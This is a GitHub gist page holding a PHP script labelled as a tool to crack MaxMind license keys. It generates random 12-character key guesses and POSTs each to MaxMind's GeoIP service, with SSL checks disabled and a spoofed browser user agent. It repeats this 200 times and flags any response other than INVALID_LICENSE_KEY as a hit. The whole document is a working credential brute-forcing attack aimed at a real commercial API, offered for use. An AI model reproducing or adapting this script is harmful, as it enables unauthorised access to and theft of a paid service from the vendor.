Skip to content

Instantly share code, notes, and snippets.

@SecureCloud-biz
Created August 19, 2014 05:32
Show Gist options
  • Save SecureCloud-biz/59f8466cb86128d70914 to your computer and use it in GitHub Desktop.
Save SecureCloud-biz/59f8466cb86128d70914 to your computer and use it in GitHub Desktop.
Random Generator to crack Maxmind Key or site with Single API Key
<?php
// Has Potential, but still no luck... lol
// run as is, change the forLoop # at the bottom for checks.. now its = 200
function gen_uuid($len=8) {
$hex = md5("MaxMind GeoIP" . uniqid("", true));
$pack = pack('H*', $hex);
$tmp = base64_encode($pack);
$uid = preg_replace("#(*UTF8)[^A-Za-z0-9]#", "", $tmp);
$len = max(4, min(128, $len));
while (strlen($uid) < $len)
$uid .= gen_uuid(22);
return substr($uid, 0, $len);
}
function get_web_page( $url,$curl_data )
{
$options = array(
CURLOPT_RETURNTRANSFER => true, // return web page
CURLOPT_HEADER => false, // don't return headers
CURLOPT_FOLLOWLOCATION => false, // follow redirects
CURLOPT_FRESH_CONNECT => true,
CURLOPT_ENCODING => "", // handle all encodings
CURLOPT_USERAGENT => "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
CURLOPT_AUTOREFERER => true, // set referer on redirect
CURLOPT_CONNECTTIMEOUT => 120, // timeout on connect
CURLOPT_TIMEOUT => 120, // timeout on response
CURLOPT_MAXREDIRS => 10, // stop after 10 redirects
CURLOPT_POST => 1, // i am sending post data
CURLOPT_POSTFIELDS => $curl_data, // this are my post vars
CURLOPT_SSL_VERIFYHOST => 0, // don't verify ssl
CURLOPT_SSL_VERIFYPEER => false, //
CURLOPT_VERBOSE => 1 //
);
$ch = curl_init($url);
curl_setopt_array($ch,$options);
$content = curl_exec($ch);
$err = curl_errno($ch);
$errmsg = curl_error($ch) ;
$header = curl_getinfo($ch);
curl_close($ch);
$header['errno'] = $err;
$header['errmsg'] = $errmsg;
$header['content'] = $content;
return $header;
}
function checkTry() {
$licenseKey = gen_uuid($len=12);
$curl_data = "i=76.179.126.242&l=" . $licenseKey;
$url = "http://geoip3.maxmind.com/b?";
$combine = $url . $curl_data;
$static_response = ',,,,,INVALID_LICENSE_KEY';
$response = get_web_page($url,$curl_data);
$comp = $response['content'];
// $transf = $response['starttransfer_time'];
$transf = $response['total_time'];
if ($comp == $static_response) {
echo '<span style="background-color: #FF0000">SAME -- ' . $transf . ' -- </span>' . ' . ' . $combine . '<br>';
// echo '<span style="background-color: #FF0000">SAME -- ' . $transf . '<br>';
// echo '.';
} else {
echo '<br><span style="background-color: #00FF00">** YOU GOT IT ** -- ' . $transf . ' -- </span>' . ' . ' . $combine . '<br>';
}
}
for ($i = 1; $i <= 200; $i++) {
checkTry();
}
//$response = get_web_page($url,$curl_data);
//echo $response = get_web_page($url,$curl_data);
//echo '<pre>' . print_r($response) . '</pre>';
// [content] => ,,,,,INVALID_LICENSE_KEY
// $siteContent = file_get_contents($combine);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment